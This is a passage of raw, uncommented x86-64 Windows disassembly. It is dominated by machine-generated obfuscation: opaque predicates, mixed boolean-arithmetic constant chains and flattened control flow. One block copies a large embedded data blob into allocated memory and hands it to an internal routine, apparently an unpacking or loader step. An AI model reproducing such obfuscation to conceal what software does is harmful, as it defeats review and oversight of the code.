and ebx, 0x24419041
or ebx, esi
or ecx, edi
and edi, 0x909c67b8
and edx, 0x6f639847
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xdbba089e
and ecx, 0x2445f761
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x822de128
mov edi, ecx
xor edi, 0x822de128
and edi, ecx
mov esi, edx
and esi, edi
xor edi, edx
or edi, esi
mov edx, edi
not edx
and edx, 0x7dd21ed6
and edi, 0x822de129
or edi, edx
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
not ecx
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
mov ebx, ecx
xor ebx, 0x9fea9d1c
and ebx, ecx
not ecx
and ecx, 0x133e9e3e
and edx, 0xecc161c1
or edx, ecx
mov ecx, edx
xor ecx, 0x8cc00100
xor edx, 0x132a9c1c
or edx, 0x601562e3
mov edi, ebx
not edi
mov esi, edx
and esi, 0x23072657
and ecx, 0x9ce89908
or ecx, esi
or edx, edi
and edi, 0x23072657
and ebx, 0xdcf8d9a8
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xfaa3e490
and edx, 0x55c1b6f
or edx, ecx
mov ecx, edx
xor ecx, 0x90108031
xor edx, 0x4009398c
and edx, 0x4aaf3fce
and ecx, 0xb550c031
or ecx, edx
mov edx, ecx
xor edx, 0x91108011
xor ecx, 0x4a23194a
and ecx, 0x6e63596a
and edx, 0x919ca695
or edx, ecx
xor edx, 0x6e63596a
cmp edx, 0xffffffff
sete r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg r9b
xor r9b, r8b
mov eax, r9d
xor al, 1
mov ecx, edx
or cl, r8b
xor dl, r8b
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and dl, r9b
and al, cl
or al, dl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xa6556530
mov ebx, 0xc5c0abfc
cmovne edx, ebx
test cl, 1
mov ecx, 0xa6556530
cmovne ecx, edx
jmp 0x1401a0cb7
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
or eax, 1
mov ebx, eax
not ebx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov edi, eax
and edi, 0xd71c08c1
and ebx, 0x28e3f73e
or ebx, edi
or eax, edx
and edx, 0xd71c08c1
and ecx, 0x28e3f73e
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xa3250f07
and eax, 0x5cdaf0f8
or eax, ecx
mov ebx, eax
xor ebx, 0x982000
xor eax, 0x2000800
or edx, 0xaf8e8a4
mov ecx, edx
not ecx
or eax, 0x71051242
and eax, 0x7b45dae2
and ebx, 0xb82004
or ebx, eax
and edx, 0x7b45dae2
and ecx, 0x84020519
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0xa9852fa
and ecx, 0xf567ad05
or ecx, eax
xor ecx, 0xff9f45a1
sete al
setne cl
cmp dword [0x1402656c4], 9
setg dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, edx
xor bl, al
not bl
and bl, al
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x236fff5a
mov edx, 0xc9c0b24c
cmovne ecx, edx
test al, al
mov eax, ecx
cmovne eax, edx
test bl, bl
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc8204000
mov ebx, edx
and ebx, 0x34800048
or ebx, ecx
xor ebx, 0x34800048
and edx, 0x35fbfb7
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xcde63da
and edx, 0xf3219c25
or edx, ecx
mov ebx, edx
xor ebx, 0xb814c01
xor edx, 0xf07e2392
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0x1440b1ee
and ebx, 0xebbf4e11
or ebx, edx
mov edx, ebx
xor edx, 0x41a20610
xor ebx, 0x1440b1ef
mov esi, ecx
and esi, 0xbe5de98e
and edi, 0x41a21670
or edi, esi
or ecx, ebx
and ebx, 0xbe5de98e
and edx, 0x41a21671
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x282849a6
and ecx, 0xd7d7b659
or ecx, edx
mov edx, ecx
xor edx, 0xd1462641
xor ecx, 0x200809a2
and ecx, 0x269999ba
and edx, 0xd9666645
or edx, ecx
mov ecx, edx
xor ecx, 0x6001022
xor edx, 0x10406601
and ecx, 0xcf261066
and edx, 0x30d9ef99
or edx, ecx
xor edx, 0xcf261066
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, edx
xor al, r9b
not al
and al, r9b
mov r10d, edx
or r10b, r9b
mov ebx, r10d
xor bl, al
xor al, 1
xor bl, 1
or al, r10b
xor al, 1
or al, bl
and r9b, dl
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, r8b
xor dl, r8b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xd6d0a52f
mov edx, 0xd7ff52ab
cmovne eax, edx
test cl, 1
mov ecx, eax
mov edx, 0xd6d0a52f
jmp 0x14019f4d3
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
mov esi, ebx
and esi, edi
xor edi, ebx
or edi, esi
not edi
and edx, 0x22e37c72
and ecx, 0xdd1c838d
or ecx, edx
xor ecx, 0xdd1c838d
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5d05c719
and ecx, 0xa2fa38e6
or ecx, edx
xor ecx, 0xa2fa38e6
sete cl
setne al
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl dl
or dl, al
mov eax, ebx
or al, cl
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
xor cl, bl
and bl, cl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov edx, ebx
xor dl, cl
test cl, 1
mov eax, 0x3151e4d4
mov ecx, 0xb8e35fab
cmovne eax, ecx
test bl, 1
mov ebx, 0x3151e4d4
cmovne eax, ebx
jmp 0x14019e601
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xd98cae3b
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xd98cae3b
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x23cd2e3
and eax, 0xfdc32d1c
or eax, edx
xor eax, 0xdbb07cd9
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
cmp eax, 0xffffffff
setne bl
sete r8b
cmp dword [0x1402656c4], 0xa
setl al
xor bl, r8b
and bl, r8b
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r9d, ecx
and r9b, dl
xor dl, cl
or dl, r9b
xor dl, 1
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov edx, r8d
xor dl, al
and al, r8b
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
xor dl, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xf9554aec
mov ebx, 0xd56ede22
cmovne eax, ebx
test dl, 1
cmovne eax, ebx
not cl
test cl, 1
mov ecx, 0xf9554aec
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0xf52fe03a
and ecx, 0xad01fc5
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8000b41
and edi, 0x65d7564a
and edx, 0x9a28a9b5
or edx, edi
mov edi, edx
xor edi, 0x18200931
xor ecx, 0xf52fe03a
xor edx, 0x65d7564a
mov esi, ecx
and esi, 0xc6dff48e
and ebx, 0x39200b71
or ebx, esi
or ecx, edx
and edx, 0xc6dff48e
and edi, 0x39200b71
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r8b
mov eax, r9d
xor al, r8b
mov ecx, eax
xor cl, 1
mov r10d, ecx
xor r10b, bl
and r10b, cl
xor bl, r9b
not bl
and bl, r9b
and al, r8b
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov r9d, eax
xor r9b, 1
mov edx, r10d
mov r8d, eax
and r8b, r9b
mov ebx, r8d
xor r8b, al
or al, r10b
xor r10b, 1
and dl, r10b
xor dl, 1
mov ecx, edx
xor cl, r10b
or dl, r10b
xor dl, 1
or dl, cl
xor bl, 1
or bl, r9b
xor bl, 1
or bl, r8b
xor bl, dl
xor r9b, r10b
xor al, 1
or al, r9b
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0xab7fe2ed
mov edx, 0xf429cba5
cmovne ecx, edx
test al, 1
mov eax, 0xab7fe2ed
cmovne eax, ecx
jmp 0x140197763
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov edi, ebx
xor edi, 0xfffffffe
and edi, edx
and ebx, 0x4b271274
and edx, 0xb4d8ed8b
or edx, ebx
mov ebx, edx
xor ebx, 0x20c0c888
mov ecx, edi
not ecx
xor edx, 0x4b271275
mov esi, ecx
and esi, 0xd41f3752
and edi, 0x2be0c8ad
or edi, esi
or ecx, edx
and edx, 0xd41f3752
and ebx, 0x2be0c8ad
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xf0492908
mov ebx, ecx
and ebx, 0x64240
or ebx, edx
xor ebx, 0x64240
and ecx, 0xfb094b7
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xfb094b7
and ecx, 0xf04f6b48
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbf329554
and ecx, 0x40cd6aab
or ecx, edx
mov edx, ecx
xor edx, 0x40402a89
xor ecx, 0x2f108114
and ecx, 0x2f9dc136
and edx, 0xd0623ec9
or edx, ecx
mov ecx, edx
xor ecx, 0xf984034
xor edx, 0x50200048
and edx, 0x7025814a
and ecx, 0x8fda7eb5
or ecx, edx
xor ecx, 0x8fda7eb5
sete dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg r8b
mov eax, edx
mov r9d, ecx
or r9b, dl
xor cl, dl
or dl, r8b
xor dl, 1
xor al, r8b
not al
and al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x7bff00a3
mov ebx, 0x199e60ee
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x7bff00a3
jmp 0x1401a14db
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov edx, ebx
or edx, 1
mov edi, edx
not edi
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov eax, ecx
not eax
mov esi, edx
and esi, 0x41b95161
and edi, 0xbe46ae9e
or edi, esi
or edx, eax
and eax, 0x41b95161
and ecx, 0xbe46ae9e
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x5d3c5780
and edx, 0xa2c3a87f
or edx, eax
mov eax, edx
xor eax, 0xa242a813
xor edx, 0x5d3c5780
mov ecx, edx
and ecx, 0x59d14ec
and eax, 0xfa62eb13
or eax, ecx
or edx, ebx
and ebx, 0x59d14ec
and r9d, 0xfa62eb13
or r9d, ebx
xor r9d, eax
not edx
or edx, r9d
cmp edx, 0xffffffff
sete cl
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg al
mov ebx, eax
or cl, al
and al, r9b
xor bl, r9b
or bl, al
or dl, r9b
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xeedc8691
mov ebx, 0xde2fac3b
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0xeedc8691
jmp 0x1401a14db
mov eax, 0x46fbb206
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0xf698265f
and ecx, 0x967d9a0
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8471880
and edi, 0xef18fc80
and edx, 0x10e7037f
or edx, edi
mov edi, edx
xor edi, 0x10c70003
xor ecx, 0xf698265f
xor edx, 0xef18fc80
mov esi, ecx
and esi, 0xa530c77c
and ebx, 0x5acf3883
or ebx, esi
or ecx, edx
and edx, 0xa530c77c
and edi, 0x5acf3883
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x1cb46821
and ecx, 0xe34b97de
or ecx, edx
xor ecx, 0xe34b97de
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
mov edx, eax
xor dl, bl
and dl, al
mov eax, ebx
xor al, cl
not al
and al, cl
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
mov ecx, edx
xor cl, bl
and cl, dl
and bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0xda31d67d
mov ebx, 0xb280fb31
cmovne eax, ebx
test cl, cl
mov ecx, 0xda31d67d
jmp 0x14019e249
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x90f41209
and eax, 0x6f0bedf6
or eax, ecx
mov ecx, eax
xor ecx, 0x90f41209
mov edx, eax
xor edx, 0x62098532
and edx, 0x722d9733
xor eax, 0x627e4eac
and eax, ecx
and ecx, 0x8dd268cc
or ecx, edx
mov ebx, ecx
xor ebx, 0x8dd268cc
mov edx, ebx
and edx, 0xf28a5ca5
mov edi, edx
and edi, eax
xor eax, edx
or eax, edi
mov edx, eax
not edx
and edx, 0x8425c37b
and eax, 0x7bda3c84
or eax, edx
mov edx, eax
xor edx, 0x88500000
and ebx, 1
xor ecx, 0x8dd268cd
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x74c61a6
and ecx, 0xf8b39e59
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc8321e49
xor ecx, 0x74c61a6
xor eax, 0x76af9fdf
mov edi, eax
and edi, 0x3185e0b2
and edx, 0xce7a1f4d
or edx, edi
or eax, ecx
and ecx, 0x3185e0b2
and ebx, 0xce7a1f4d
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xee92cde8
and eax, 0x116d3217
or eax, ecx
xor eax, 0x116d3217
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x1402656c4], 0xa
setl dl
xor cl, dl
xor al, dl
xor dl, cl
not dl
and dl, cl
mov r9d, edx
xor r9b, 1
mov ebx, eax
xor bl, 1
and dl, r9b
and al, bl
mov r8d, r9d
and r8b, dl
xor dl, r9b
or dl, r8b
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov ecx, edx
xor cl, 1
and cl, al
xor al, 1
and al, dl
or al, cl
mov ecx, r9d
and cl, bl
xor bl, r9b
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0xe2c22794
mov ebx, 0x236fff5a
cmovne edx, ebx
test al, 1
cmove edx, ebx
not cl
test cl, 1
mov eax, 0xe2c22794
jmp 0x14019f61b
mov eax, 0x9794d4dc
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xcd1c4a5a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x79a7934c
and ecx, edx
not edx
and edx, 0x79a7934c
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x86586cb3
and ecx, 0x79a7934c
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xae270f88
and ecx, 0x51d8f077
or ecx, ebx
mov ebx, ecx
xor ebx, 0x118a066
xor ecx, 0xae270f89
mov esi, edx
and esi, 0xfcc05598
and edi, 0x33faa66
or edi, esi
or edx, ecx
and ecx, 0xfcc05598
and ebx, 0x33faa67
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
mov ecx, edx
not ecx
and edx, 0x2fe845c3
and ecx, 0xd017ba3c
or ecx, edx
mov edx, ecx
xor edx, 0x20204443
xor ecx, 0x50152a0c
and ecx, 0x5fdd2b8c
and edx, 0xa022d473
or edx, ecx
mov ecx, edx
xor ecx, 0xa0000470
xor edx, 0x1ad00184
and edx, 0x1af2d187
and ecx, 0xe50d2e78
or ecx, edx
mov edx, ecx
xor edx, 0x8605106
xor ecx, 0x80002620
and ecx, 0x9292a6a1
and edx, 0x6d6d595e
or edx, ecx
xor edx, 0x6d6d595e
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
or al, dl
xor bl, dl
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
not al
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
xor cl, 1
and cl, al
or bl, cl
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0xffd5c633
mov ebx, 0x343b48a9
cmovne ecx, ebx
test dl, dl
mov edx, 0xffd5c633
cmove ecx, edx
test al, 1
cmovne ecx, ebx
jmp 0x1401a26c0
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0xa8600
lea rdx, [0x1401bb2e0]
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0xa8600
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
add rsp, 0x20
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
mov edx, 0xa8600
call fcn.140077210
add rsp, 0x20
mov eax, 0x7e05b684
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x350b4902
and edx, 0xcaf4b6fd
or edx, ecx
mov ecx, edx
xor ecx, 0xc8b49498
xor edx, 0x1024000
and edx, 0x3426265
and ecx, 0xfcbd9d9a
or ecx, edx
mov edx, ecx
xor edx, 0x3426265
mov ebx, ecx
xor ebx, 0x3426264
and ebx, edx
xor ecx, 0xfcbd9d9a
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
not ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xeec769b2
and ebx, 0x1138964d
or ebx, esi
or ecx, edi
and edi, 0xeec769b2
and edx, 0x1138964d
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x828280
mov ebx, ecx
and ebx, 0xa9600132
or ebx, edx
xor ebx, 0xa9600132
and ecx, 0x561d7c4d
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x561d7c4d
and ecx, 0xa9e283b2
or ecx, edx
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x7c50dd55
mov edi, 0x29c6af2
cmovne eax, edi
test dl, dl
mov ecx, eax
cmovne ecx, edi
jmp 0x1401a1a3b
mov rax, qword [rbp - 0x60]
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edx, [rax - 1]
imul edx, eax
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x4e524a95
and edx, 0xb1adb56a
or edx, eax
mov eax, edx
not eax
and eax, 0x9bae325b
and edx, 0x6451cda4
or edx, eax
xor edx, 0xd5fc78cf
mov eax, edx
and eax, ebx
xor edx, ebx
or edx, eax
cmp edx, 0xffffffff
setne al
sete r9b
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
xor al, cl
xor cl, r9b
mov r8d, ecx
xor r8b, 1
mov edx, ebx
and dl, r9b
xor bl, r9b
or bl, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, cl
or cl, al
and al, r8b
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xcecb2e6d
mov ebx, 0x420669a5
cmovne eax, ebx
test cl, 1
mov ecx, 0xcecb2e6d
jmp 0x1401a0085
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0xf397d95e
mov ecx, edx
and ecx, 0xc6826a1
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xc6826a0
and ecx, 0xf397d95f
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xfa8c6c6c
and ecx, 0x5739393
or ecx, ebx
mov ebx, ecx
xor ebx, 0x5228292
and edi, 0x9e8b883e
and edx, 0x617477c1
or edx, edi
mov edi, edx
xor edi, 0x61240680
xor ecx, 0xfa8c6c6c
xor edx, 0x9e8b883e
mov esi, ecx
and esi, 0x12d17969
and ebx, 0xed2e8696
or ebx, esi
or ecx, edx
and edx, 0x12d17969
and edi, 0xed2e8696
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x10fc7fe5
and ecx, 0xef03801a
or ecx, edx
xor ecx, 0xef03801a
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov edx, eax
xor dl, cl
or dl, bl
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test al, al
mov eax, 0x21c9600
mov edx, 0x470e5d55
cmovne eax, edx
test bl, bl
mov ebx, 0x21c9600
cmove eax, ebx
jmp 0x1401a10d4
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x6d26832a
and ebx, 0x92d97cd5
or ebx, edx
mov edi, ebx
xor edi, 0x80080440
xor ebx, 0x1200222
or ecx, 0xe93d0762
mov edx, ecx
not edx
or ebx, 0x400a881
and ebx, 0x531aaa3
and edi, 0xe80c0540
or edi, ebx
and ecx, 0x531aaa3
and edx, 0x12c2501c
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x16c2f89d
and edx, 0xe93d0762
or edx, ecx
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0x1d00580c
mov ebx, edx
xor ebx, 0x1d00580c
and ebx, edx
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0xe2ffa7f2
and ebx, 0x1d00580d
or ebx, edi
and edx, 0x83aa7012
mov edi, ecx
and edi, 0x7c558fed
or edi, edx
xor edi, 0x83aa7013
and ecx, 1
or ecx, edi
mov edx, ecx
not edx
and edx, 0xcbc9d3e5
and ecx, 0x34362c1a
or ecx, edx
mov edi, ecx
xor edi, 0x24120c12
xor ecx, 0xcbc9d3e5
mov edx, ebx
not edx
mov esi, edx
and esi, 0x58ed72ad
and ebx, 0xa7128d52
or ebx, esi
or edx, ecx
and ecx, 0x58ed72ad
and edi, 0xa7128d52
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov edi, edx
not edi
or edx, 0xeb774369
mov ebx, edx
not ebx
or edi, 0x1488bc96
mov ecx, edi
not ecx
and edx, 0xee835c9
and ebx, 0x10008816
or ebx, edx
and edi, 0xee835c9
and ecx, 0xe1174220
or ecx, edi
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xeb774369
and ecx, 0x1488bc96
or ecx, edx
sete dl
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg r10b
and cl, r10b
and bl, dl
or bl, cl
xor bl, 1
or bl, r10b
mov ecx, ebx
not cl
xor r10b, dl
mov r8d, r10d
xor r8b, 1
and cl, bl
mov edx, r8d
and dl, r10b
xor cl, 1
mov r9d, ecx
xor r9b, bl
or cl, bl
xor cl, 1
or cl, r9b
mov r9d, edx
and r9b, r8b
xor dl, r8b
or dl, r9b
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
mov eax, r10d
xor al, dl
test al, 1
mov eax, 0x1a0e17a
mov ecx, 0xc2f798e7
cmovne eax, ecx
test r10b, 1
mov ecx, 0x1a0e17a
jmp 0x14019c0ca
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x33359ec0
and edx, ecx
and ecx, 0xccca613f
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc8400001
xor ecx, 0x33359ec0
mov edi, edx
not edi
mov esi, ecx
and esi, 0x6bbf5fe
and ebx, 0xf9440a01
or ebx, esi
or ecx, edi
and edi, 0x6bbf5fe
and edx, 0xf9440a01
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0xdec340e4
and ebx, 0x213cbf1b
or ebx, esi
or edx, edi
and edi, 0xdec340e4
and ecx, 0x213cbf1b
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0xfc0c383
and ebx, 0xf03f3c7c
or ebx, esi
or edx, edi
and edi, 0xfc0c383
and ecx, 0xf03f3c7c
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
setne r8b
sete cl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r9b
and bl, al
mov edx, ecx
or dl, bl
xor dl, 1
mov r10d, eax
and r10b, cl
xor cl, bl
